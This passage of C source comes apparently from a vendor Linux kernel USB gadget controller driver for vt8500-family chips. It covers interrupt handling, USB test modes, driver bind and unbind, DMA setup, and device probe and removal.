irq_flags); // if (udc->driver) // udc->driver->disconnect(&udc->gadget); // ppudc = udc; printk(KERN_INFO "disconnect 1\n"); //gri run_script(action_off_line); gadget_connect=0; // pullup_disable(udc); } status = IRQ_HANDLED; pDevReg->SelfPowerConnect |= 0x02; } wmb(); /* Device Global Interrupt Pending Status*/ udc_irq_src = pDevReg->CommandStatus; /* Device state change (usb ch9 stuff)*/ if (udc_irq_src & USBREG_BUSACTINT) {/* the bus activity interrupt occured*/ /*caused by Port 0 Statsu Change*/ devstate_irq(_udc, udc_irq_src); status = IRQ_HANDLED; pDevReg->CommandStatus |= USBREG_BUSACTINT; wmb(); } if (udc_irq_src & USBREG_BABBLEINT) {/* the Babble interrupt ocuured*/ /* check for Control endpoint for BABBLE error*/ if (pDevReg->ControlEpControl & EP_BABBLE) { /* the Control endpoint is encounted the babble error*/ /* stall the endpoint and clear the babble condition*/ pDevReg->ControlEpControl |= (EP_BABBLE + EP_STALL); INFO("vt8430_udc_irq() - EP0 Babble Detect!\n"); udc->ep[0].stopped = 1; udc->ep[0].stall = 1; } if (pDevReg->Bulk1EpControl & EP_BABBLE) { /* the Bulk endpoint is encounted the babble error*/ /* stall the endpoint and clear the babble condition*/ pDevReg->Bulk1EpControl |= (EP_BABBLE + EP_STALL); INFO("vt8430_udc_irq() - EP1 Babble Detect!\n"); udc->ep[1].stopped = 1; udc->ep[1].stall = 1; } if (pDevReg->Bulk2EpControl & EP_BABBLE) { /* the Bulk endpoint is encounted the babble error*/ /* stall the endpoint and clear the babble condition*/ pDevReg->Bulk2EpControl |= (EP_BABBLE + EP_STALL); INFO("vt8430_udc_irq() - EP2 Babble Detect!\n"); udc->ep[2].stopped = 1; udc->ep[2].stall = 1; } if (pDevReg->Bulk3EpControl & EP_BABBLE) { /* the Bulk endpoint is encounted the babble error*/ /* stall the endpoint and clear the babble condition*/ pDevReg->Bulk3EpControl |= (EP_BABBLE + EP_STALL); INFO("vt8430_udc_irq() - EP3 Babble Detect!\n"); udc->ep[3].stopped = 1; udc->ep[3].stall = 1; } wmb(); status = IRQ_HANDLED; } if (udc_irq_src & USBREG_COMPLETEINT) {/* the complete inerrupt occured*/ if (pDevReg->ControlEpControl & EP_COMPLETEINT) { /* the control transfer complete event*/ pDevReg->ControlEpControl |= EP_COMPLETEINT; /* clear the event*/ wmb(); USB_ControlXferComplete(); #if 0 gadget_connect=1; #endif } if (pDevReg->Bulk1EpControl & EP_COMPLETEINT) { /* the bulk transfer complete event*/ pDevReg->Bulk1EpControl |= EP_COMPLETEINT; wmb(); /*DBG("USB_Bulk 1 DMA()\n");*/ dma_irq(0x81); #if 1 gadget_connect=1; #endif } if (pDevReg->Bulk2EpControl & EP_COMPLETEINT) { /* the bulk transfer complete event*/ pDevReg->Bulk2EpControl |= EP_COMPLETEINT; wmb(); /*DBG("USB_Bulk 2 DMA()\n");*/ dma_irq(2); #if 1 gadget_connect=1; #endif } #ifdef USE_BULK3_TO_INTERRUPT if (pDevReg->Bulk3EpControl & EP_COMPLETEINT) { /* the bulk transfer complete event*/ pDevReg->Bulk3EpControl |= EP_COMPLETEINT; wmb(); /*DBG("USB_Bulk 3 DMA()\n");*/ dma_irq(0x83); #if 1 gadget_connect=1; #endif } #else if (pDevReg->InterruptEpControl & EP_COMPLETEINT) { /* the bulk transfer complete event*/ pDevReg->InterruptEpControl |= EP_COMPLETEINT; /*DBG("USB_INT 3 DMA()\n");*/ if (f_ep3_used == 3) dma_irq(0x83); #if 1 gadget_connect=1; #endif } #endif status = IRQ_HANDLED; } if (udc->ep0_status_0_byte == 1)/* && (udc_ep[0].stall==0))*/ ep0_status(udc); if (ControlState == CONTROLSTATE_STATUS) { /* checking for test mode*/ if (TestMode != 0x00) { #if 0 pDevReg->CommandStatus &= 0x1F; wmb(); pDevReg->CommandStatus |= USBREG_RESETCONTROLLER; while (pDevReg->CommandStatus & USBREG_RESETCONTROLLER) ; /* HW attach process evaluation enable bit*/ #if 0 pDevReg->FunctionPatchEn |= 0x20; /* Device port control register - 22*/ pDevReg->PortControl |= PORTCTRL_SELFPOWER; wmb(); #else pullup_enable(udc); pDevReg->FunctionPatchEn |= 0x20; /* HW attach process evaluation enable bit*/ wmb(); //msleep(1000); #endif #endif wmb(); udelay(1000); /*GigaHsu 2008.1.26 : Don't set RUN bit while TestMode enable*/ /* setting the test mode*/ switch (TestMode) { case UDC_TEST_MODE_NOT_ENABLED:/*0*/ INFO("UDC_TEST_MODE_NOT_ENABLED (0x%02X)\n", TestMode); break; case UDC_TEST_J_STATE:/*1*/ pDevReg->CommandStatus = USBREG_TEST_J; INFO("UDC_TEST_J_STATE wIndex(0x%02X)\n", TestMode); break; case UDC_TEST_K_STATE:/*2*/ pDevReg->CommandStatus = USBREG_TEST_K; INFO("UDC_TEST_K_STATE wIndex(0x%02X)\n", TestMode); break; case UDC_TEST_SE0_NAK:/*3*/ pDevReg->CommandStatus = USBREG_SE0_NAK; INFO("UDC_TEST_SE0_NAK wIndex(0x%02X)\n", TestMode); break; case UDC_TEST_PACKET:/*4*/ pDevReg->CommandStatus = USBREG_TESTPACKET; INFO("UDC_TEST_PACKET wIndex(0x%02X)\n", TestMode); break; case UDC_TEST_FRORCE_ENABLE:/*5*/ pDevReg->CommandStatus = USBREG_FORCEENABLE; INFO("UDC_TEST_FRORCE_ENABLE wIndex(0x%02X)\n", TestMode); break; case UDC_TEST_EYE_PATTERN:/*6*/ pDevReg->CommandStatus = USBREG_TESTEYE; INFO("UDC_TEST_EYE_PATTERN wIndex(0x%02X)\n", TestMode); break; } /*switch(TestMode)*/ INFO("UDC - CommandStatus(0x%02X)\n", pDevReg->CommandStatus); /* stop the 8051*/ /*ChipTopRegister.Config |= CT_STOP8051;*/ } ControlState = CONTROLSTATE_SETUP; /* go back SETUP state*/ } #ifdef OTGIP } global_irq_src = pGlobalReg->UHDC_Interrupt_Status; if (global_irq_src & UHDC_INT_UDC_DMA1)/*UDC Bulk DMA 1*/ status = wmt_udc_dma_irq(UDC_IRQ_USB, udc);//, r); // if (global_irq_src & UHDC_INT_UDC_DMA2)/*UDC Bulk DMA 1*/ // wmt_udc_dma_irq(UDC_IRQ_USB, udc);//, r); // if (global_irq_src & UHDC_INT_UDC_DMA3)/*UDC Bulk DMA 1*/ // wmt_udc_dma_irq(UDC_IRQ_USB, udc);//, r); } #endif spin_unlock_irqrestore(&udc->lock, irq_flags); //printk("udc s =0x%x\n",pGlobalReg->UHDC_Interrupt_Status); return status; } /*wmt_udc_irq()*/ /* workaround for seemingly-lost IRQs for RX ACKs... */ #define PIO_OUT_TIMEOUT (jiffies + HZ/3) #ifdef DEBUG_UDC_ISR_TIMER static void wmt_udc_softirq(unsigned long _udc) { struct vt8500_udc *udc = (void *) _udc; /*unsigned long flags;*/ struct pt_regs r; INFO("wmt_udc_softirq()\n"); wmt_udc_irq(UDC_IRQ_USB, udc, &r); mod_timer(&udc->timer, PIO_OUT_TIMEOUT); } #endif static void __init wmt_ep_setup(char *name, u8 addr, u8 type, unsigned maxp); static int wmt_udc_start(struct usb_gadget_driver *driver, int (*bind)(struct usb_gadget *)) { int status = -ENODEV; struct vt8500_ep *ep; // unsigned long flags; DBG("wmt_udc_start()\n"); /* basic sanity tests */ if (!udc) return -ENODEV; if (!driver /* FIXME if otg, check: driver->is_otg*/ || driver->max_speed < USB_SPEED_FULL || !bind // || !driver->unbind || !driver->setup){ // printk(KERN_INFO "gri usb_gadget_probe_driver f2\n"); // printk(KERN_INFO "gri driver=%x driver->speed=%x driver->bind=%x driver->unbind=%x driver->setup=%x\n", // (unsigned int)driver,(unsigned int)driver->speed,(unsigned int)driver->bind,(unsigned int)driver->unbind,(unsigned int)driver->setup); return -EINVAL; } spin_lock_irqsave(&udc->lock, irq_flags); if (udc->driver) { spin_unlock_irqrestore(&udc->lock, irq_flags); return -EBUSY; } /* reset state */ list_for_each_entry(ep, &udc->gadget.ep_list, ep.ep_list) { ep->irqs = 0; if (ep->bmAttributes == USB_ENDPOINT_XFER_ISOC) continue; /*use_ep(ep, 0);*/ /*UDC_CTRL_REG = UDC_SET_HALT;*/ } udc->ep0_pending = 0; udc->ep0_status_0_byte = 0; udc->ep[0].irqs = 0; udc->softconnect = 1; udc->file_storage_set_halt = 0; /* hook up the driver */ driver->driver.bus = 0; udc->driver = driver; udc->gadget.dev.driver = &driver->driver; spin_unlock_irqrestore(&udc->lock, irq_flags); status = bind(&udc->gadget); spin_lock_irqsave(&udc->lock, irq_flags); printk(KERN_INFO "bind to %s --> %d\n", driver->driver.name, status); if (status) { /* %s -> g_file_storage*/ DBG("bind to %s --> %d\n", driver->driver.name, status); // printk(KERN_INFO "gri usb_gadget_probe_driver %d\n", status); udc->gadget.dev.driver = 0; udc->driver = 0; goto done; } DBG("bound to driver %s\n", driver->driver.name);/*udc: bound to driver g_file_storage*/ pUSBMiscControlRegister5 = (unsigned char *)(USB_UDC_REG_BASE + 0x1A0); *pUSBMiscControlRegister5 = 0x01;/*USB in normal operation*/ wmb(); #if 0 /* reset Bulk descriptor control*/ pDevReg->Bulk1EpControl = 0; /* stop the bulk DMA*/ while (pDevReg->Bulk1EpControl & EP_ACTIVE) ; /* wait the DMA stopped*/ pDevReg->Bulk2EpControl = 0; /* stop the bulk DMA*/ while (pDevReg->Bulk2EpControl & EP_ACTIVE) ; /* wait the DMA stopped*/ pDevReg->Bulk3EpControl = 0; /* stop the bulk DMA*/ while (pDevReg->Bulk3EpControl & EP_ACTIVE) ; /* wait the DMA stopped*/ pDevReg->Bulk1DesStatus = 0x00; pDevReg->Bulk2DesStatus = 0x00; pDevReg->Bulk3DesStatus = 0x00; pDevReg->Bulk1DesTbytes0 = 0; pDevReg->Bulk1DesTbytes1 = 0; pDevReg->Bulk1DesTbytes2 = 0; pDevReg->Bulk2DesTbytes0 = 0; pDevReg->Bulk2DesTbytes1 = 0; pDevReg->Bulk2DesTbytes2 = 0; pDevReg->Bulk3DesTbytes0 = 0; pDevReg->Bulk3DesTbytes1 = 0; pDevReg->Bulk3DesTbytes2 = 0; /* enable DMA and run the control endpoint*/ pDevReg->ControlEpControl = EP_RUN + EP_ENABLEDMA; /* enable DMA and run the bulk endpoint*/ pDevReg->Bulk1EpControl = EP_RUN + EP_ENABLEDMA; pDevReg->Bulk2EpControl = EP_RUN + EP_ENABLEDMA; #ifdef USE_BULK3_TO_INTERRUPT pDevReg->Bulk3EpControl = EP_RUN + EP_ENABLEDMA; #else pDevReg->InterruptEpControl = EP_RUN + EP_ENABLEDMA; #endif #endif /* enable DMA and run the interrupt endpoint*/ /* UsbControlRegister.InterruptEpControl = EP_RUN+EP_ENABLEDMA;*/ /* run the USB controller*/ pDevReg->MiscControl3 = 0x3d; pDevReg->PortControl |= PORTCTRL_SELFPOWER;/* Device port control register - 22*/ wmb(); pDevReg->CommandStatus = USBREG_RUNCONTROLLER; wmb(); ControlState = CONTROLSTATE_SETUP; USBState = USBSTATE_DEFAULT; TestMode = 0; wmt_ep_setup_csr("ep0", 0, USB_ENDPOINT_XFER_CONTROL, 64); #if 0 wmt_ep_setup_csr("ep1in-bulk", (USB_DIR_IN | 1), USB_ENDPOINT_XFER_BULK, 512); wmt_ep_setup_csr("ep2out-bulk", (USB_DIR_OUT | 2), USB_ENDPOINT_XFER_BULK, 512); #ifdef USE_BULK3_TO_INTERRUPT wmt_ep_setup_csr("ep3in-int", (USB_DIR_IN | 3), USB_ENDPOINT_XFER_INT, 28); #else wmt_ep_setup_csr("ep3in-int", (USB_DIR_IN | 3), USB_ENDPOINT_XFER_INT, 8); #endif wmt_ep_setup_csr("ep4in-iso", (USB_DIR_IN | 4), USB_ENDPOINT_XFER_ISO, 384); #endif /* enable all interrupt*/ #ifdef FULL_SPEED_ONLY pDevReg->IntEnable = (INTENABLE_ALL | INTENABLE_FULLSPEEDONLY) ;/*0x70*/ #else pDevReg->IntEnable = INTENABLE_ALL;/*0x70*/ #endif /* set IOC on the Setup decscriptor to accept the Setup request*/ pDevReg->ControlDesControl = CTRLXFER_IOC; wmt_pdma_reset();/*NeilChen*/ // pDevReg->FunctionPatchEn |= 0x20; /* HW attach process evaluation enable bit*/ #ifdef DEBUG_UDC_ISR_TIMER init_timer(&udc->timer); udc->timer.function = wmt_udc_softirq; udc->timer.data = (unsigned long) udc; add_timer(&udc->timer); #endif done: spin_unlock_irqrestore(&udc->lock, irq_flags); return status; } /*int wmt_udc_start ()*/ static int wmt_udc_stop(struct usb_gadget_driver *driver) { // unsigned long flags; int status = -ENODEV; if (!udc) return -ENODEV; if (!driver || driver != udc->driver) return -EINVAL; spin_lock_irqsave(&udc->lock, irq_flags); udc_quiesce(udc); spin_unlock_irqrestore(&udc->lock, irq_flags); driver->unbind(&udc->gadget); udc->gadget.dev.driver = 0; udc->driver = 0; pDevReg->IntEnable &= 0x8F;/*INTENABLE_ALL(0x70)*/ /* set IOC on the Setup decscriptor to accept the Setup request*/ pDevReg->ControlDesControl &= 0x7F;/*CTRLXFER_IOC;*/ if (udc->transceiver) (void) otg_set_peripheral(udc->transceiver->otg, NULL); else { pullup_disable(udc); // pDevReg->FunctionPatchEn &= ~0x20; } if (TestMode != 0x00) { pDevReg->CommandStatus &= 0x1F; pUSBMiscControlRegister5 = (unsigned char *)(USB_UDC_REG_BASE + 0x1A0); *pUSBMiscControlRegister5 = 0x00;/* USB PHY in power down & USB in reset*/ INFO("usb_gadget_unregister_driver() RESET_UDC OK!\n"); TestMode = 0; } DBG("unregistered driver '%s'\n", driver->driver.name); return status; } /*int wmt_udc_stop ()*/ /*-------------------------------------------------------------------------*/ #ifdef CONFIG_USB_vt8500_PROC #include <linux/seq_file.h> static const char proc_filename[] = "driver/udc"; #define FOURBITS "%s%s%s%s" #define EIGHTBITS FOURBITS FOURBITS static void proc_ep_show(struct seq_file *s, struct vt8500_ep *ep) { } /*proc_ep_show()*/ static char *trx_mode(unsigned m) { switch (m) { case 3: case 0: return "6wire"; case 1: return "4wire"; case 2: return "3wire"; default: return "unknown"; } } static int proc_udc_show(struct seq_file *s, void *_) { return 0; } static int proc_udc_open(struct inode *inode, struct file *file) { return single_open(file, proc_udc_show, 0); } static struct file_operations proc_ops = { .open = proc_udc_open, .read = seq_read, .llseek = seq_lseek, .release = single_release, }; static void create_proc_file(void) { struct proc_dir_entry *pde; pde = create_proc_entry(proc_filename, 0, NULL); if (pde) pde->proc_fops = &proc_ops; } static void remove_proc_file(void) { remove_proc_entry(proc_filename, 0); } #else static inline void create_proc_file(void) {} static inline void remove_proc_file(void) {} #endif /*-------------------------------------------------------------------------*/ /* Before this controller can enumerate, we need to pick an endpoint * configuration, or "fifo_mode" That involves allocating 2KB of packet * buffer space among the endpoints we'll be operating. */ static void __init wmt_ep_setup(char *name, u8 addr, u8 type, unsigned maxp) { struct vt8500_ep *ep; VDBG("wmt_ep_setup()\n"); /* OUT endpoints first, then IN*/ ep = &udc->ep[addr & 0x7f]; VDBG("wmt_ep_setup() - %s addr %02x maxp %d\n", name, addr, maxp); strlcpy(ep->name, name, sizeof ep->name); INIT_LIST_HEAD(&ep->queue); ep->bEndpointAddress = addr; ep->bmAttributes = type; ep->double_buf = 0;/*dbuf;*/ ep->udc = udc; ep->toggle_bit = 0; ep->ep.name = ep->name; ep->ep.ops = &wmt_ep_ops;/*struct usb_ep_ops*/ ep->ep.maxpacket = ep->maxpacket = maxp; list_add_tail(&ep->ep.ep_list, &udc->gadget.ep_list); /*return buf;*/ } /*wmt_ep_setup()*/ static void wmt_udc_release(struct device *dev) { DBG("wmt_udc_release()\n"); complete(udc->done); kfree(udc); udc = 0; } /*wmt_udc_release()*/ static int __init wmt_udc_setup(struct platform_device *odev, struct usb_phy *xceiv) { DBG("wmt_udc_setup()\n"); udc = kmalloc(sizeof *udc, GFP_KERNEL); if (!udc) return -ENOMEM; memset(udc, 0, sizeof *udc); spin_lock_init(&udc->lock); spin_lock_init(&gri_lock); sema_init(&wmt_udc_sem, 1); udc->gadget.ops = &wmt_gadget_ops; udc->gadget.ep0 = &udc->ep[0].ep; INIT_LIST_HEAD(&udc->gadget.ep_list); /*INIT_LIST_HEAD(&udc->iso);*/ udc->gadget.speed = USB_SPEED_UNKNOWN; udc->gadget.name = driver_name; device_initialize(&udc->gadget.dev); //strcpy(udc->gadget.dev.bus_id, "gadget"); dev_set_name(&udc->gadget.dev, "gadget"); udc->gadget.dev.release = wmt_udc_release; udc->transceiver = NULL; /* ep0 is special; put it right after the SETUP buffer*/ wmt_ep_setup("ep0", 0, USB_ENDPOINT_XFER_CONTROL, 64); list_del_init(&udc->ep[0].ep.ep_list); #if 1 #if 1 #define VT8430_BULK_EP(name, addr) \ wmt_ep_setup(name "-bulk", addr, \ USB_ENDPOINT_XFER_BULK, 512); /*usb_ch9.h*/ /*#define USB_DIR_OUT 0 *//* to device */ /*#define USB_DIR_IN 0x80 *//* to host */ #define VT8430_INT_EP(name, addr, maxp) \ wmt_ep_setup(name "-int", addr, \ USB_ENDPOINT_XFER_INT, maxp); #define VT8430_ISO_EP(name, addr, maxp) \ wmt_ep_setup(name "-iso", addr, \ USB_ENDPOINT_XFER_ISOC, maxp); #endif VT8430_BULK_EP("ep1in", USB_DIR_IN | 1); VT8430_BULK_EP("ep2out", USB_DIR_OUT | 2); #ifdef USE_BULK3_TO_INTERRUPT VT8430_INT_EP("ep3in", USB_DIR_IN | 3, 512); #else VT8430_INT_EP("ep3in", USB_DIR_IN | 3, 8); #endif VT8430_ISO_EP("ep4in", USB_DIR_IN | 4, 512); #endif udc->ep[0].rndis_buffer_alloc = 0; udc->ep[1].rndis_buffer_alloc = 0; udc->ep[2].rndis_buffer_alloc = 0; udc->ep[3].rndis_buffer_alloc = 0; udc->ep[4].rndis_buffer_alloc = 0; udc->ep[5].rndis_buffer_alloc = 0;//gri udc->ep[6].rndis_buffer_alloc = 0;//gri /*INFO("fifo mode %d, %d bytes not used\n", fifo_mode, 2048 - buf);*/ return 0; } /*wmt_udc_setup()*/ static void wmt_pdma_reset(void) { if (!pUdcDmaReg->DMA_Global_Bits.DMAConrollerEnable) pUdcDmaReg->DMA_Global_Bits.DMAConrollerEnable = 1;/*enable DMA*/ pUdcDmaReg->DMA_Global_Bits.SoftwareReset = 1; wmb(); while (pUdcDmaReg->DMA_Global_Bits.SoftwareReset)/*wait reset complete*/ ; pUdcDmaReg->DMA_Global_Bits.DMAConrollerEnable = 1;/*enable DMA*/ pUdcDmaReg->DMA_IER_Bits.DMAInterruptEnable0 = 1; pUdcDmaReg->DMA_IER_Bits.DMAInterruptEnable1 = 1; pUdcDmaReg->DMA_IER_Bits.DMAInterruptEnable2 = 1; pUdcDmaReg->DMA_Context_Control0_Bis.TransDir = 0; pUdcDmaReg->DMA_Context_Control1_Bis.TransDir = 1; pUdcDmaReg->DMA_Context_Control2_Bis.TransDir = 0; wmb(); /*descriptor initial*/ } /*wmt_pdma_init*/ static void wmt_pdma0_reset(void) { if (!pUdcDmaReg->DMA_Global_Bits.DMAConrollerEnable) pUdcDmaReg->DMA_Global_Bits.DMAConrollerEnable = 1;/*enable DMA*/ pUdcDmaReg->DMA_Global_Bits.SoftwareReset0 = 1; wmb(); while (pUdcDmaReg->DMA_Global_Bits.SoftwareReset0)/*wait reset complete*/ ; pUdcDmaReg->DMA_IER_Bits.DMAInterruptEnable0 = 1; pUdcDmaReg->DMA_Context_Control0_Bis.TransDir = 0; wmb(); /*descriptor initial*/ } /*wmt_pdma_init*/ static void wmt_pdma1_reset(void) { if (!pUdcDmaReg->DMA_Global_Bits.DMAConrollerEnable) pUdcDmaReg->DMA_Global_Bits.DMAConrollerEnable = 1;/*enable DMA*/ pUdcDmaReg->DMA_Global_Bits.SoftwareReset1 = 1; wmb(); while (pUdcDmaReg->DMA_Global_Bits.SoftwareReset1)/*wait reset complete*/ ; pUdcDmaReg->DMA_IER_Bits.DMAInterruptEnable1 = 1; pUdcDmaReg->DMA_Context_Control1_Bis.TransDir = 1; wmb(); /*descriptor initial*/ } /*wmt_pdma_init*/ #ifdef USE_BULK3_TO_INTERRUPT static void wmt_pdma2_reset(void) { if (!pUdcDmaReg->DMA_Global_Bits.DMAConrollerEnable) pUdcDmaReg->DMA_Global_Bits.DMAConrollerEnable = 1;/*enable DMA*/ pUdcDmaReg->DMA_Global_Bits.SoftwareReset2 = 1; wmb(); while (pUdcDmaReg->DMA_Global_Bits.SoftwareReset2)/*wait reset complete*/ ; pUdcDmaReg->DMA_IER_Bits.DMAInterruptEnable2 = 1; pUdcDmaReg->DMA_Context_Control2_Bis.TransDir = 0; wmb(); /*descriptor initial*/ } /*wmt_pdma_init*/ #endif /*static void wmt_pdma_init(struct device *dev)*/ static void wmt_pdma_init(struct device *dev) { UdcRndisEp1VirAddr = (unsigned int) dma_alloc_coherent(dev, (size_t)65536, (dma_addr_t *)(&UdcRndisEp1PhyAddr), GFP_KERNEL|GFP_ATOMIC); UdcRndisEp2VirAddr = (unsigned int) dma_alloc_coherent(dev, (size_t)65536, (dma_addr_t *)(&UdcRndisEp2PhyAddr), GFP_KERNEL|GFP_ATOMIC); UdcRndisEp3VirAddr = (unsigned int) dma_alloc_coherent(dev, (size_t)65536, (dma_addr_t *)(&UdcRndisEp3PhyAddr), GFP_KERNEL|GFP_ATOMIC); UdcPdmaVirAddrLI = (unsigned int) dma_alloc_coherent(pDMADescLI, (size_t)0x100, (dma_addr_t *)(&UdcPdmaPhyAddrLI), GFP_KERNEL|GFP_ATOMIC); UdcPdmaVirAddrSI = (unsigned int) dma_alloc_coherent(pDMADescSI, (size_t)0x100, (dma_addr_t *)(&UdcPdmaPhyAddrSI), GFP_KERNEL|GFP_ATOMIC); UdcPdmaVirAddrLO = (unsigned int) dma_alloc_coherent(pDMADescLO, (size_t)0x100, (dma_addr_t *)(&UdcPdmaPhyAddrLO), GFP_KERNEL|GFP_ATOMIC); UdcPdmaVirAddrSO = (unsigned int) dma_alloc_coherent(pDMADescSO, (size_t)0x100, (dma_addr_t *)(&UdcPdmaPhyAddrSO), GFP_KERNEL|GFP_ATOMIC); #ifdef USE_BULK3_TO_INTERRUPT UdcPdmaVirAddrL2I = (unsigned int) dma_alloc_coherent(pDMADescL2I, (size_t)0x100, (dma_addr_t *)(&UdcPdmaPhyAddrL2I), GFP_KERNEL|GFP_ATOMIC); UdcPdmaVirAddrS2I = (unsigned int) dma_alloc_coherent(pDMADescS2I, (size_t)0x100, (dma_addr_t *)(&UdcPdmaPhyAddrS2I), GFP_KERNEL|GFP_ATOMIC); #endif pUdcDmaReg->DMA_Global_Bits.DMAConrollerEnable = 1;/*enable DMA*/ pUdcDmaReg->DMA_Global_Bits.SoftwareReset = 1; wmb(); while (pUdcDmaReg->DMA_Global_Bits.SoftwareReset)/*wait reset complete*/ ; pUdcDmaReg->DMA_Global_Bits.DMAConrollerEnable = 1;/*enable DMA*/ pUdcDmaReg->DMA_IER_Bits.DMAInterruptEnable0 = 1; pUdcDmaReg->DMA_IER_Bits.DMAInterruptEnable1 = 1; pUdcDmaReg->DMA_Context_Control0_Bis.TransDir = 0; pUdcDmaReg->DMA_Context_Control1_Bis.TransDir = 1; #ifdef USE_BULK3_TO_INTERRUPT pUdcDmaReg->DMA_IER_Bits.DMAInterruptEnable2 = 1; pUdcDmaReg->DMA_Context_Control2_Bis.TransDir = 0; #endif wmb(); } /*wmt_pdma_init*/ /*static int __init wmt_udc_probe(struct device *dev)*/ static int __init wmt_udc_probe(struct platform_device *pdev) { /* struct platform_device *odev = to_platform_device(dev);*/ struct device *dev = &pdev->dev; int status = -ENODEV; struct usb_phy *xceiv = 0; DBG("wmt_udc_probe()\n"); /*UDC Register Space 0x400~0x7EF*/ INIT_LIST_HEAD (&done_main_list); b_pullup = 0; pDevReg = (struct UDC_REGISTER *)USB_UDC_REG_BASE; pUdcDmaReg = (struct UDC_DMA_REG *)USB_UDC_DMA_REG_BASE; pSetupCommand = (PSETUPCOMMAND)(USB_UDC_REG_BASE + 0x300); pSetupCommandBuf = (unsigned char *)(USB_UDC_REG_BASE + 0x300); SetupBuf = (UCHAR *)(USB_UDC_REG_BASE + 0x340); IntBuf = (UCHAR *)(USB_UDC_REG_BASE + 0x40); pUSBMiscControlRegister5 = (unsigned char *)(USB_UDC_REG_BASE + 0x1A0); #ifdef OTGIP /*UHDC Global Register Space 0x7F0~0x7F7*/ pGlobalReg = (struct USB_GLOBAL_REG *) USB_GLOBAL_REG_BASE; #endif *pUSBMiscControlRegister5 = 0x01; pDevReg->CommandStatus &= 0x1F; pDevReg->CommandStatus |= USBREG_RESETCONTROLLER; wmb(); while (pDevReg->CommandStatus & USBREG_RESETCONTROLLER) ; wmt_pdma_init(dev); pDevReg->Bulk1EpControl = 0; /* stop the bulk DMA*/ wmb(); while (pDevReg->Bulk1EpControl & EP_ACTIVE) /* wait the DMA stopped*/ ; pDevReg->Bulk2EpControl = 0; /* stop the bulk DMA*/ wmb(); while (pDevReg->Bulk2EpControl & EP_ACTIVE) /* wait the DMA stopped*/ ; pDevReg->Bulk1DesStatus = 0x00; pDevReg->Bulk2DesStatus = 0x00; pDevReg->Bulk1DesTbytes0 = 0; pDevReg->Bulk1DesTbytes1 = 0; pDevReg->Bulk1DesTbytes2 = 0; pDevReg->Bulk2DesTbytes0 = 0; pDevReg->Bulk2DesTbytes1 = 0; pDevReg->Bulk2DesTbytes2 = 0; #ifdef USE_BULK3_TO_INTERRUPT pDevReg->Bulk3EpControl = 0; /* stop the bulk DMA*/ wmb(); while (pDevReg->Bulk3EpControl & EP_ACTIVE) /* wait the DMA stopped*/ ; pDevReg->Bulk3DesStatus = 0x00; pDevReg->Bulk3DesTbytes0 = 0; pDevReg->Bulk3DesTbytes1 = 0; pDevReg->Bulk3DesTbytes2 = 0; #endif /* enable DMA and run the control endpoint*/ wmb(); pDevReg->ControlEpControl = EP_RUN + EP_ENABLEDMA; /* enable DMA and run the bulk endpoint*/ pDevReg->Bulk1EpControl = EP_RUN + EP_ENABLEDMA; pDevReg->Bulk2EpControl = EP_RUN + EP_ENABLEDMA; #ifdef USE_BULK3_TO_INTERRUPT pDevReg->Bulk3EpControl = EP_RUN + EP_ENABLEDMA; #else pDevReg->InterruptEpControl = EP_RUN + EP_ENABLEDMA; #endif wmb(); /* enable DMA and run the interrupt endpoint*/ /* UsbControlRegister.InterruptEpControl = EP_RUN+EP_ENABLEDMA;*/ /* run the USB controller*/ pDevReg->MiscControl3 = 0x3d; /* HW attach process evaluation enable bit For WM3426 and after project*/ /*pDevReg->FunctionPatchEn |= 0x20;*/ #ifdef HW_BUG_HIGH_SPEED_PHY pDevReg->MiscControl0 &= ~0x80; #endif pDevReg->MiscControl0 |= 0x02; wmb(); pDevReg->CommandStatus = USBREG_RUNCONTROLLER; ControlState = CONTROLSTATE_SETUP; USBState = USBSTATE_DEFAULT; TestMode = 0; status = wmt_udc_setup(pdev, xceiv); if (status) goto cleanup0; xceiv = 0; /*udc->chip_version = tmp8;*/ /* "udc" is now valid*/ pullup_disable(udc); udc->gadget.is_otg = 0;/*(config->otg != 0);*/ udc->dev = dev; udc->gadget.max_speed = USB_SPEED_HIGH;; udc->ep0_status_0_byte = 0; udc->usb_connect = 0; /* USB general purpose IRQ: ep0, state changes, dma, etc*/ status = request_irq(UDC_IRQ_USB, wmt_udc_irq, // (SA_INTERRUPT | SA_SHIRQ | SA_SAMPLE_RANDOM), driver_name, udc); // (IRQF_DISABLED | IRQF_SHARED | IRQF_SAMPLE_RANDOM), driver_name, udc); (IRQF_SHARED | IRQF_SAMPLE_RANDOM), driver_name, udc);//gri pDevReg->SelfPowerConnect |= 0x10;//Neil #ifndef OTGIP status = request_irq(UDC_IRQ_DMA, wmt_udc_dma_irq, // (SA_INTERRUPT | SA_SHIRQ | SA_SAMPLE_RANDOM), driver_name, udc); // (IRQF_DISABLED | IRQF_SHARED | IRQF_SAMPLE_RANDOM), driver_name, udc); (IRQF_SHARED | IRQF_SAMPLE_RANDOM), driver_name, udc); #endif /*SA_SAMPLE_RANDOM, driver_name, udc);*/ if (status != 0) { ERR("can't get irq %d, err %d\n", UDC_IRQ_USB, status); goto cleanup1; } else INFO("wmt_udc_probe - request_irq(0x%02X) pass!\n", UDC_IRQ_USB); create_proc_file(); status = device_add(&udc->gadget.dev); if (status) goto cleanup4; status = usb_add_gadget_udc(&pdev->dev, &udc->gadget); initial_test_fiq(); if (!status) return 0; cleanup4: remove_proc_file(); /*cleanup2:*/ free_irq(UDC_IRQ_USB, udc); INFO("wmt_udc_probe - free_irq(0x%02X)?\n", UDC_IRQ_USB); cleanup1: kfree(udc); udc = 0; cleanup0: if (xceiv) usb_put_transceiver(xceiv); /*release_mem_region(odev->resource[0].start,*/ /* odev->resource[0].end - odev->resource[0].start + 1);*/ return status; } /*wmt_udc_probe()*/ static int __exit wmt_udc_remove(struct platform_device *pdev) { /*struct platform_device *odev = to_platform_device(dev);*/ DECLARE_COMPLETION(done); DBG("wmt_udc_remove()\n"); if (!udc) return -ENODEV; udc->done = &done; pullup_disable(udc); if (udc->transceiver) { usb_put_transceiver(udc->transceiver); udc->transceiver = 0; } /*UDC_SYSCON1_REG = 0;*/ remove_proc_file(); free_irq(UDC_IRQ_USB, udc); device_unregister(&udc->gadget.dev); wait_for_completion(&done); return 0; } /*wmt_udc_remove()*/ /* suspend/resume/wakeup from sysfs (echo > power/state) */ static int wmt_udc_pm_notify(struct notifier_block *nb, unsigned long event, void *dummy) { if (event == PM_SUSPEND_PREPARE) { if (udc->driver){ run_script(action_off_line); } gadget_connect=0; down(&wmt_udc_sem); pullup_disable(udc); up(&wmt_udc_sem); } else if (event == PM_POST_SUSPEND) { down(&wmt_udc_sem); pullup_enable(udc); up(&wmt_udc_sem); wmt_wakeup(&udc->gadget); 